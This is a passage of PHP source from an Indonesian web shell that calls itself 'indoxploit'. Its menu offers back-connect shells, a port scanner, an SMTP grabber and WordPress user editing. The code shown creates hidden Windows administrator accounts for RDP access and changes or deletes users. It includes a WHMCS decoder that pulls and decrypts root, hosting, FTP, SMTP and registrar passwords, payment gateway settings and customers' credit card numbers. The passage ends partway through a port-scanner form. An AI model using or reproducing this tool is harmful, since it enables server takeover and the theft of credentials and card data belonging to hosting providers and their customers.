  1412. <form method='post'>
  1413. Link Config: <br>
  1414. <textarea name='link' placeholder='http://target.com/btm_conf/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  1415. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar'>
  1416. </form></center>";
  1417. }
  1418. }
  1419. elseif($_GET['do'] == 'rdp') {
  1420. echo "<center>";
  1421. echo "<ul>";
  1422. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1423. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1424. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1425. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1426. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1427. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1428. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1429. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1430. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1431. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1432. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1433. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1434. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1435. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1436. echo "</ul>";
  1437. echo "</center>";
  1438. if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
  1439. if($_POST['create']) {
  1440. $user = htmlspecialchars($_POST['user']);
  1441. $pass = htmlspecialchars($_POST['pass']);
  1442. if(preg_match("/$user/", exe("net user"))) {
  1443. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
  1444. } else {
  1445. $add_user = exe("net user $user $pass /add");
  1446. $add_groups1 = exe("net localgroup Administrators $user /add");
  1447. $add_groups2 = exe("net localgroup Administrator $user /add");
  1448. $add_groups3 = exe("net localgroup Administrateur $user /add");
  1449. echo "<center>[ RDP ACCOUNT INFO ]<br>
  1450. ------------------------------<br>
  1451. IP: <font color=lime>".$ip."</font><br>
  1452. Username: <font color=lime>$user</font><br>
  1453. Password: <font color=lime>$pass</font><br>
  1454. ------------------------------<br><br>
  1455. [ STATUS ]<br>
  1456. ------------------------------<br>
  1457. </center>";
  1458. if($add_user) {
  1459. echo "[add user] -> <font color='lime'>Berhasil</font><br>";
  1460. } else {
  1461. echo "[add user] -> <font color='red'>Gagal</font><br>";
  1462. }
  1463. if($add_groups1) {
  1464. echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
  1465. } elseif($add_groups2) {
  1466. echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
  1467. } elseif($add_groups3) {
  1468. echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
  1469. } else {
  1470. echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
  1471. }
  1472. echo "------------------------------<br>";
  1473. }
  1474. } elseif($_POST['s_opsi']) {
  1475. $user = htmlspecialchars($_POST['r_user']);
  1476. if($_POST['opsi'] == '1') {
  1477. $cek = exe("net user $user");
  1478. echo "Checking username <font color=lime>$user</font> ....... ";
  1479. if(preg_match("/$user/", $cek)) {
  1480. echo "[ <font color=lime>Sudah ada</font> ]<br>
  1481. ------------------------------<br><br>
  1482. <pre>$cek</pre>";
  1483. } else {
  1484. echo "[ <font color=red>belum ada</font> ]";
  1485. }
  1486. } elseif($_POST['opsi'] == '2') {
  1487. $cek = exe("net user $user indoxploit");
  1488. if(preg_match("/$user/", exe("net user"))) {
  1489. echo "[change password: <font color=lime>indoxploit</font>] -> ";
  1490. if($cek) {
  1491. echo "<font color=lime>Berhasil</font>";
  1492. } else {
  1493. echo "<font color=red>Gagal</font>";
  1494. }
  1495. } else {
  1496. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1497. }
  1498. } elseif($_POST['opsi'] == '3') {
  1499. $cek = exe("net user $user /DELETE");
  1500. if(preg_match("/$user/", exe("net user"))) {
  1501. echo "[remove user: <font color=lime>$user</font>] -> ";
  1502. if($cek) {
  1503. echo "<font color=lime>Berhasil</font>";
  1504. } else {
  1505. echo "<font color=red>Gagal</font>";
  1506. }
  1507. } else {
  1508. echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
  1509. }
  1510. } else {
  1511. //
  1512. }
  1513. } else {
  1514. echo "<center>-- Create RDP --<br>
  1515. <form method='post'>
  1516. <input type='text' name='user' placeholder='username' value='denita' required>
  1517. <input type='text' name='pass' placeholder='password' value='denita' required>
  1518. <input type='submit' name='create' value='>>'>
  1519. </form>
  1520. -- Option --<br>
  1521. <form method='post'>
  1522. <input type='text' name='r_user' placeholder='username' required>
  1523. <select name='opsi'>
  1524. <option value='1'>Cek Username</option>
  1525. <option value='2'>Ubah Password</option>
  1526. <option value='3'>Hapus Username</option>
  1527. </select>
  1528. <input type='submit' name='s_opsi' value='>>'>
  1529. </form></center>
  1530. ";
  1531. }
  1532. } else {
  1533. echo "<font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font>";
  1534. }
  1535.  
  1536. }
  1537. elseif($_GET['do'] == 'tetangga') {
  1538. echo "<center>";
  1539. echo "<ul>";
  1540. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1541. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1542. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1543. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1544. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1545. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1546. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1547. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1548. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1549. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1550. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1551. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1552. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1553. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1554. echo "</ul>";
  1555. echo "</center>";
  1556.  
  1557. echo "<center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Reverse Domain ip Lookup</span></center>
  1558. ";
  1559. echo "<div id=result>";
  1560. echo "<center><br><form><input type='text' size='60' placeholder='watch8x.com' name='setan' /><input type='hidden' name='do' value='tetangga'> &nbsp;<input type='submit' value='&nbsp;&check;&nbsp;'></form></center>";
  1561. if(isset($_GET["setan"]))
  1562. {
  1563. $site = $_GET["setan"];
  1564. $setan = "http://domains.yougetsignal.com/domains.php";
  1565.  
  1566. //Curl Function
  1567. $ch = curl_init($setan);
  1568. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1569. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$site&ket=");
  1570. curl_setopt($ch, CURLOPT_HEADER, 0);
  1571. curl_setopt($ch, CURLOPT_POST, 1);
  1572. $resp = curl_exec($ch);
  1573. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1574. $array = explode(",,", $resp);
  1575. unset($array[0]);
  1576. echo "<table style='margin: 0 auto'>";
  1577. foreach($array as $lnk)
  1578. {
  1579. print "<tr><td><a style=\"color:#0f0;font-weight:bold;\" href='$lnk' target=_blank>$lnk</a></td></tr>";
  1580. }
  1581. echo "</table>";
  1582. curl_close($ch);
  1583. }
  1584. }
  1585. elseif($_GET['do'] == 'whmcs') {
  1586. echo "<center>";
  1587. echo "<ul>";
  1588. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1589. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1590. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1591. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1592. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1593. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1594. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1595. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1596. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1597. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1598. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1599. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1600. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1601. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1602. echo "</ul>";
  1603. echo "</center>";
  1604.  
  1605. echo"<p><br/><body>
  1606. <center><br/><br/><nobr><b><span>WHMCS DECODER</span></b></nobr><br/><br/>
  1607. <p><form method='post'>
  1608. <table border=1>
  1609. <tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu1' value='localhost'></td></tr>
  1610. <tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu2'></td></tr>
  1611. <tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu3'></td></tr>
  1612. <tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:transparent' size='60' name='anu4'></td></tr>
  1613. <tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:transparent' type='text' size='60' name='anu5'></td></tr>
  1614. <tr><td align='center' colspan='2'><input class=submit type='submit' style='color:#FF0000;background-color:transparent' value=' HAJAR ' name='plapon'></td></tr>
  1615.  
  1616. </table>
  1617. <br></form></center>";
  1618.  
  1619.  
  1620. $perawan = $_POST['anu1'];
  1621. $kimcil = $_POST['anu2'];
  1622. $janda = $_POST['anu3'];
  1623. $hotel = $_POST['anu4'];
  1624. $kondom = $_POST['anu5'];
  1625. @mysql_connect($perawan, $kimcil, $janda);
  1626. @mysql_select_db($hotel);
  1627. $cc_encryption_hash = $kondom;
  1628. function dec($string, $cc_encryption_hash) {
  1629. $key = md5(md5($cc_encryption_hash)) . md5($cc_encryption_hash);
  1630. $hash_key = _hash($key);
  1631. $hash_length = strlen($hash_key);
  1632. $string = base64_decode($string);
  1633. $tmp_iv = substr($string, 0, $hash_length);
  1634. $string = substr($string, $hash_length, strlen($string) - $hash_length);
  1635. $iv = $out = '';
  1636. $c = 0;
  1637. while ($c < $hash_length) {
  1638. $iv.= chr(ord($tmp_iv[$c]) ^ ord($hash_key[$c]));
  1639. ++$c;
  1640. }
  1641. $key = $iv;
  1642. $c = 0;
  1643. while ($c < strlen($string)) {
  1644. if (($c != 0 AND $c % $hash_length == 0)) {
  1645. $key = _hash($key . substr($out, $c - $hash_length, $hash_length));
  1646. }
  1647. $out.= chr(ord($key[$c % $hash_length]) ^ ord($string[$c]));
  1648. ++$c;
  1649. }
  1650. return $out;
  1651. }
  1652. function _hash($string) {
  1653. $hash = (function_exists('sha1')) ? sha1($string) : md5($string);
  1654. $out = '';
  1655. $c = 0;
  1656. while ($c < strlen($hash)) {
  1657. $out.= chr(hexdec($hash[$c] . $hash[$c + 1]));
  1658. $c+= 2;
  1659. }
  1660. return $out;
  1661. }
  1662. ######## GO TO HELL ########
  1663. ##### :D ########### :D #####
  1664. if (isset($_POST['plapon'])) {
  1665. $query = mysql_query("SELECT *FROM tblservers");
  1666. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1667. <tr><th colspan='7'> <span> HOST ROOT </span> </th></tr>
  1668. <tr>
  1669. <th class='th_home' align='center'><b>TYPE</b></th>
  1670. <th class='th_home' align='center'><b>ACTIVE</b></th>
  1671. <th class='th_home' align='center'><b>HOSTNAME</b></th>
  1672. <th class='th_home' align='center'><b>IP ADDRESS</b></th>
  1673. <th class='th_home' align='center'><b>USERNAME</b></th>
  1674. <th class='th_home' align='center'><b>PASSWORD</b></th>
  1675. <th class='th_home' align='center'><b>ACCESS HASH</b></th></tr>";
  1676. if (!is_array(mysql_fetch_array($query))) {
  1677. echo "<tr><td colspan='8' align='center'>Nothing Found !</td></tr>";
  1678. }
  1679. while ($v = mysql_fetch_array($query)) {
  1680. echo "<tr>
  1681. <td class='td_home' align='center'>{$v['type']}</td>
  1682. <td class='td_home' align='center'>{$v['active']}</td>
  1683. <td class='td_home' align='center'>{$v['hostname']}</td>
  1684. <td class='td_home' align='center'>{$v['ipaddress']}</td>
  1685. <td class='td_home' align='center'>{$v['username']}</td>
  1686. <td class='td_home' align='center'>" . dec($v['password'], $cc_encryption_hash) . "</td>
  1687. <td class='td_home' align='center'>{$v['accesshash']}</td>
  1688. </tr>";
  1689. }
  1690. echo "</table>";
  1691. $query = mysql_query("SELECT * FROM tblhosting where username = 'root' or username = 'vmuserxx' or username = 'vmuser' or username = 'admin' or username = 'Admin' or username = 'administrator' or username = 'Administrator' order by domainstatus");
  1692. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1693. <tr><th colspan='6'><span>CLIENTS ROOT</span> </th></tr>
  1694.  
  1695. <tr>
  1696. <th class='th_home' align='center'><b> DOMAIN</b></th>
  1697. <th class='th_home' align='center'><b> STATUS</b></th>
  1698. <th class='th_home' align='center'><b> USERNAME</b></th>
  1699. <th class='th_home' align='center'><b> PASSWORD</b></th>
  1700. <th class='th_home' align='center'><b> DEDICATED IP</b></th>
  1701. <th class='th_home' align='center'><b> ASSIGNED IP</b></th></tr>";
  1702. if (!is_array(mysql_fetch_array($query))) {
  1703. echo "<tr><td colspan='6' align='center'>Nothing Found ! :(</td></tr>";
  1704. }
  1705. while ($v = mysql_fetch_array($query)) {
  1706. echo "<tr>
  1707. <td class='td_home' align='center'> {$v['domain']}</td>
  1708. <td class='td_home' align='center'> {$v['domainstatus']}</td>
  1709. <td class='td_home' align='center'> {$v['username']}</td>
  1710. <td class='td_home' align='center'> " . dec($v['password'], $cc_encryption_hash) . "</td>
  1711. <td class='td_home' align='center'> {$v['dedicatedip']}</td>
  1712. <td class='td_home' align='center'> {$v['assignedips']}</td></tr>";
  1713. }
  1714. echo "</table>";
  1715. $query = mysql_query("SELECT *FROM tblregistrars");
  1716. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1717. <tr><th colspan='3'><nobr><span> DOMAIN REGISTRAR </span></nobr></th></tr>
  1718. <tr>
  1719. <th class='th_home' align='center'><b>REGISTRAR</b></th>
  1720. <th class='th_home' align='center'><b>SETTING</b></th>
  1721. <th class='th_home' align='center'><b>VALUE</b></th></tr>";
  1722. if (!is_array(mysql_fetch_array($query))) {
  1723. echo "<tr><td colspan='3' align='center'>Nothing Found !</td></tr>";
  1724. }
  1725. while ($v = mysql_fetch_array($query)) {
  1726. $value = (!dec($v['value'], $cc_encryption_hash)) ? "0" : dec($v['value'], $cc_encryption_hash);
  1727. echo "<tr>
  1728. <td class='td_home' align='center'>{$v['registrar']}</td>
  1729. <td class='td_home' align='center'>{$v['setting']}</td>
  1730. <td class='td_home' align='center'>$value</td></tr>";
  1731. }
  1732. echo "</table>";
  1733. $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  1734. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1735. <tr><th colspan='4'> <span> FTP BACKUP </span> </th></tr>
  1736.  
  1737. <tr>
  1738. <th class='th_home' align='center'><b>FTP HOSTNAME</b></th>
  1739. <th class='th_home' align='center'><b>FTP USERNAME</b></th>
  1740. <th class='th_home' align='center'><b>FTP PASSWORD</b></th>
  1741. <th class='th_home' align='center'><b>DESTINATION</b></th></tr>";
  1742. $ftpb = array('FTPBackupHostname', 'FTPBackupUsername', 'FTPBackupPassword', 'FTPBackupDestination');
  1743. if (!is_array(mysql_fetch_array($query))) {
  1744. echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  1745. }
  1746. while ($row = mysql_fetch_array($query)) {
  1747. if ($row[setting] == $ftpb[0]) {
  1748. echo "<tr><td class='td_home'>{$row[value]}</td>";
  1749. $ftpb[0] = xxx;
  1750. } elseif ($row[setting] == $ftpb[1]) {
  1751. echo "<td class='td_home'>{$row[value]}</td>";
  1752. $ftpb[1] = xxx;
  1753. } elseif ($row[setting] == $ftpb[2]) {
  1754. echo "<td class='td_home'>{$row[value]}</td>";
  1755. $ftpb[2] = xxx;
  1756. } elseif ($row[setting] == $ftpb[3]) {
  1757. echo "<td class='td_home'>{$row[value]}</td>";
  1758. $ftpb[3] = xxx;
  1759. }
  1760. }
  1761. echo "</table>";
  1762. $query = mysql_query("SELECT * FROM tblconfiguration where 1");
  1763. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1764. <tr><th colspan='4'><span> SMTP SERVER </span> </th></tr>
  1765. <tr>
  1766. <th class='th_home' align='center'><b>SMTP HOST</b></th>
  1767. <th class='th_home' align='center'><b>SMTP USER</b></th>
  1768. <th class='th_home' align='center'><b>SMTP PASS</b></th>
  1769. <th class='th_home' align='center'><b>SMTP PORT</b></th></tr>";
  1770. $smtp = array('SMTPHost', 'SMTPUsername', 'SMTPPassword', 'SMTPPort');
  1771. if (!is_array(mysql_fetch_array($query))) {
  1772. echo "<tr><td colspan='4' align='center'>Nothing Found ! :(</td></tr>";
  1773. }
  1774. while ($row = mysql_fetch_array($query)) {
  1775. if ($row[setting] == $smtp[0]) {
  1776. echo "<tr><td class='td_home'>{$row[value]}</td>";
  1777. $smtp[0] = xxx;
  1778. } elseif ($row[setting] == $smtp[1]) {
  1779. echo "<td class='td_home'>{$row[value]}</td>";
  1780. $smtp[1] = xxx;
  1781. } elseif ($row[setting] == $smtp[2]) {
  1782. echo "<td class='td_home'>{$row[value]}</td>";
  1783. $smtp[2] = xxx;
  1784. } elseif ($row[setting] == $smtp[3]) {
  1785. echo "<td class='td_home'>{$row[value]}</td>";
  1786. $smtp[3] = xxx;
  1787. }
  1788. }
  1789. echo "</table>";
  1790. $query = mysql_query("SELECT *FROM tblpaymentgateways");
  1791. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1792. <tr><th colspan='4'><nobr><span> PAYMENTS GATEWAY </span></nobr></th></tr>
  1793.  
  1794. <tr>
  1795. <th class='th_home' align='center'><b>GATEWAY</b></th>
  1796. <th class='th_home' align='center'><b>SETTING</b></th>
  1797. <th class='th_home' align='center'><b>VALUE</b></th>
  1798. <th class='th_home' align='center'><b>ORDER</b></th></tr>";
  1799. if (!is_array(mysql_fetch_array($query))) {
  1800. echo "<tr><td colspan='4' align='center'>Nothing Found !</td></tr>";
  1801. }
  1802. while ($v = mysql_fetch_array($query)) {
  1803. echo "<tr>
  1804. <td class='td_home' align='center'>{$v['gateway']}</td>
  1805. <td class='td_home' align='center'>{$v['setting']}</td>
  1806. <td class='td_home' align='center'>{$v['value']}</td>
  1807. <td class='td_home' align='center'>{$v['order']}</td> </tr>";
  1808. }
  1809. echo "</table>";
  1810. $query = mysql_query("SELECT id FROM tblclients WHERE issuenumber != '' ORDER BY id DESC");
  1811. echo "<br/><br/><center><table class='table_home' style=width:830px;padding:0 1px;>
  1812. <tr><th colspan='10'><nobr><span> CLIENTS CREDIT CARD </span></nobr></th></tr>
  1813. <tr>
  1814. <th class='th_home' align='center'><b>CardType</b></th>
  1815. <th class='th_home' align='center'><b>CardNumb</b></th>
  1816. <th class='th_home' align='center'><b>Expdate</b></th>
  1817. <th class='th_home' align='center'><b>IssueNumber</b></th>
  1818. <th class='th_home' align='center'><b>FirstName</b></th>
  1819. <th class='th_home' align='center'><b>LastName</b></th>
  1820. <th class='th_home' align='center'><b>Address</b></th>
  1821. <th class='th_home' align='center'><b>Country</b></th>
  1822. <th class='th_home' align='center'><b>Phone</b></th>
  1823. <th class='th_home' align='center'><b>Email</b></th>
  1824. </tr>";
  1825. if (!is_array(mysql_fetch_array($query))) {
  1826. echo "<tr><td colspan='10' align='center'>Nothing Found ! :(</td></tr>";
  1827. }
  1828. while ($v = mysql_fetch_array($query)) {
  1829. $cchash = md5($cc_encryption_hash . $v['0']);
  1830. $s = mysql_query("SELECT firstname,lastname,address1,country,phonenumber,cardtype,email,AES_DECRYPT(cardnum,'" . $cchash . "') as cardnum,AES_DECRYPT(expdate,'" . $cchash . "') as expdate,AES_DECRYPT(issuenumber,'" . $cchash . "') as issuenumber FROM tblclients WHERE id='" . $v['0'] . "'");
  1831. $v2 = mysql_fetch_array($s);
  1832. echo "<tr>
  1833. <td class='td_home' align='center'>" . $v2['cardtype'] . "</td>
  1834. <td class='td_home' align='center'>" . $v2['cardnum'] . "</td>
  1835. <td class='td_home' align='center'>" . $v2['expdate'] . "</td>
  1836. <td class='td_home' align='center'>" . $v2['issuenumber'] . "</td>
  1837. <td class='td_home' align='center'>" . $v2['firstname'] . "</td>
  1838. <td class='td_home' align='center'>" . $v2['lastname'] . "</td>
  1839. <td class='td_home' align='center'>" . $v2['address1'] . "</td>
  1840. <td class='td_home' align='center'>" . $v2['country'] . "</td>
  1841. <td class='td_home' align='center'>" . $v2['phonenumber'] . "</td>
  1842. <td class='td_home' align='center'>" . $v2['email'] . "</td></tr>";
  1843. }
  1844. echo "</table>";
  1845. $query = mysql_query("SELECT *FROM tblhosting");
  1846. echo "<br/><br/><center>
  1847. <table class='table_home' style=width:830px;padding:0 1px;>
  1848. <tr><th colspan='6'><nobr><span> CLIENTS HOSTING ACCOUNT </span></nobr></th></tr>
  1849. <tr>
  1850. <th class='th_home' align='center'><b>DOMAIN</b></th>
  1851. <th class='th_home' align='center'><b>STATUS</b></th>
  1852. <th class='th_home' align='center'><b>USERNAME</b></th>
  1853. <th class='th_home' align='center'><b>PASSWORD</b></th>
  1854. <th class='th_home' align='center'><b>DEDICATED IP</b></th>
  1855. <th class='th_home' align='center'><b>ASSIGNED IP</b></th></tr>";
  1856. if (!is_array(mysql_fetch_array($query))) {
  1857. echo "<tr><td colspan='6' align='center'>Nothing Found !</td></tr>";
  1858. }
  1859. while ($v = mysql_fetch_array($query)) {
  1860. echo "<tr>
  1861. <td class='td_home' align='center'>{$v['domain']}</td>
  1862. <td class='td_home' align='center'>{$v['domainstatus']}</td>
  1863. <td class='td_home' align='center'>{$v['username']}</td>
  1864. <td class='td_home' align='center'>" . dec($v['password'], $cc_encryption_hash) . "</td>
  1865. <td class='td_home' align='center'>{$v['dedicatedip']}</td>
  1866. <td class='td_home' align='center'>{$v['assignedips']}</td></tr>";
  1867. }
  1868. echo "</table>";
  1869. }
  1870. }
  1871. elseif($_GET['do'] == 'hash') {
  1872. echo "<center>";
  1873. echo "<ul>";
  1874. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1875. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1876. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1877. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1878. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1879. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1880. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1881. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1882. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1883. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1884. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1885. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1886. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1887. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1888. echo "</ul>";
  1889. echo "</center>";
  1890. if (isset($_POST['gethash'])) {
  1891. $hash = $_POST['hash'];
  1892. if (strlen($hash) == 32) {
  1893. $hashresult = "MD5 Hash";
  1894. } elseif (strlen($hash) == 40) {
  1895. $hashresult = "SHA-1 Hash/ /MySQL5 Hash";
  1896. } elseif (strlen($hash) == 13) {
  1897. $hashresult = "DES(Unix) Hash";
  1898. } elseif (strlen($hash) == 16) {
  1899. $hashresult = "MySQL Hash / /DES(Oracle Hash)";
  1900. } elseif (strlen($hash) == 41) {
  1901. $GetHashChar = substr($hash, 40);
  1902. if ($GetHashChar == "*") {
  1903. $hashresult = "MySQL5 Hash";
  1904. }
  1905. } elseif (strlen($hash) == 64) {
  1906. $hashresult = "SHA-256 Hash";
  1907. } elseif (strlen($hash) == 96) {
  1908. $hashresult = "SHA-384 Hash";
  1909. } elseif (strlen($hash) == 128) {
  1910. $hashresult = "SHA-512 Hash";
  1911. } elseif (strlen($hash) == 34) {
  1912. if (strstr($hash, '$1$')) {
  1913. $hashresult = "MD5(Unix) Hash";
  1914. }
  1915. } elseif (strlen($hash) == 37) {
  1916. if (strstr($hash, '$apr1$')) {
  1917. $hashresult = "MD5(APR) Hash";
  1918. }
  1919. } elseif (strlen($hash) == 34) {
  1920. if (strstr($hash, '$H$')) {
  1921. $hashresult = "MD5(phpBB3) Hash";
  1922. }
  1923. } elseif (strlen($hash) == 34) {
  1924. if (strstr($hash, '$P$')) {
  1925. $hashresult = "MD5(Wordpress) Hash";
  1926. }
  1927. } elseif (strlen($hash) == 39) {
  1928. if (strstr($hash, '$5$')) {
  1929. $hashresult = "SHA-256(Unix) Hash";
  1930. }
  1931. } elseif (strlen($hash) == 39) {
  1932. if (strstr($hash, '$6$')) {
  1933. $hashresult = "SHA-512(Unix) Hash";
  1934. }
  1935. } elseif (strlen($hash) == 24) {
  1936. if (strstr($hash, '==')) {
  1937. $hashresult = "MD5(Base-64) Hash";
  1938. }
  1939. } else {
  1940. $hashresult = "Hash type not found";
  1941. }
  1942. } else {
  1943. $hashresult = "<center>Not Hash Entered</center>";
  1944. }
  1945.  
  1946. echo"<center>
  1947.  
  1948. <form action='' method='POST'>
  1949. <tr>
  1950. <th colspan='5'>Hash Identification</th><br><br>
  1951. <tr class='optionstr'><B><td>Enter Hash :</td><br></b><td></td> <td><input type='text' name='hash' size='60' class='inputz' /></td><td><input type='submit' class='inputzbut' name='gethash' value='Identify Hash' /></td></tr><br>
  1952. <tr class='optionstr'><b><td>Result</td><td>:</td><td></td></tr></b>
  1953. </tr></form>
  1954. </center>";
  1955. echo "<center>$hashresult</center>";
  1956.  
  1957. }
  1958. elseif($_GET['do'] == 'portsc') {
  1959. echo "<center>";
  1960. echo "<ul>";
  1961. echo "<li> <a href='?dir=$dir&do=bc'>Simple Back-Connect</a> </li>";
  1962. echo "<li> <a href='?dir=$dir&do=pbc'>Perl Back-Connect</a> </li>";
  1963. echo "<li> <a href='?dir=$dir&do=ptbc'>Python Back-Connect</a> </li>";
  1964. echo "<li> <a href='?dir=$dir&do=portsc'>Port Scanner</a> </li>";
  1965. echo "<li> <a href='?dir=$dir&do=hash'>Hash Identification</a> </li>";
  1966. echo "<li> <a href='?dir=$dir&do=whmcs'>WHMCS Decoder</a> </li>";
  1967. echo "<li> <a href='?dir=$dir&do=tetangga'>Reverse Domain</a> </li>";
  1968. echo "<li> <a href='?dir=$dir&do=wpes'>Auto Edit User WP</a> </li>";
  1969. echo "<li> <a href='?dir=$dir&do=dos'>Domain On User</a> </li><br>";
  1970. echo "<li> <a href='?dir=$dir&do=smtp'>VHosts SMTP Grabber</a> </li>";
  1971. echo "<li> <a href='?dir=$dir&do=csrf'>CSRF ONLINE</a> </li>";
  1972. echo "<li> <a href='?dir=$dir&do=scdc'>Script Decoder</a> </li>";
  1973. echo "<li> <a href='?dir=$dir&do=rdp'>RDP-Creator</a> </li>";
  1974. echo "<li> <a href='?dir=$dir&do=manjat'>WHM-User Checker</a> </li>";
  1975. echo "</ul>";
  1976. echo "</center>";
  1977. echo"<form action='' method='post'>" ;
  1978. $start = strip_tags($_POST['start']);
  1979. $end = strip_tags($_POST['end']);
  1980. $host = strip_tags($_POST['host']);
  1981. if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
  1982. for ($i = $start;$i <= $end;$i++) {
  1983. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1984. if ($fp) {
  1985. echo 'Port ' . $i . ' is <font color=green>open</font><br>';
  1986. }
  1987. flush();
  1988. }
  1989. } else {
  1990. echo '<center><table class=tabnet style="width:300px;padding:0 1px;">
  1991. <input type="hidden" name="y" value="phptools">
  1992. <tr><th colspan="5">Port Scanner</th></center></tr>
  1993. <tr>
  1994. <td>Host</td>
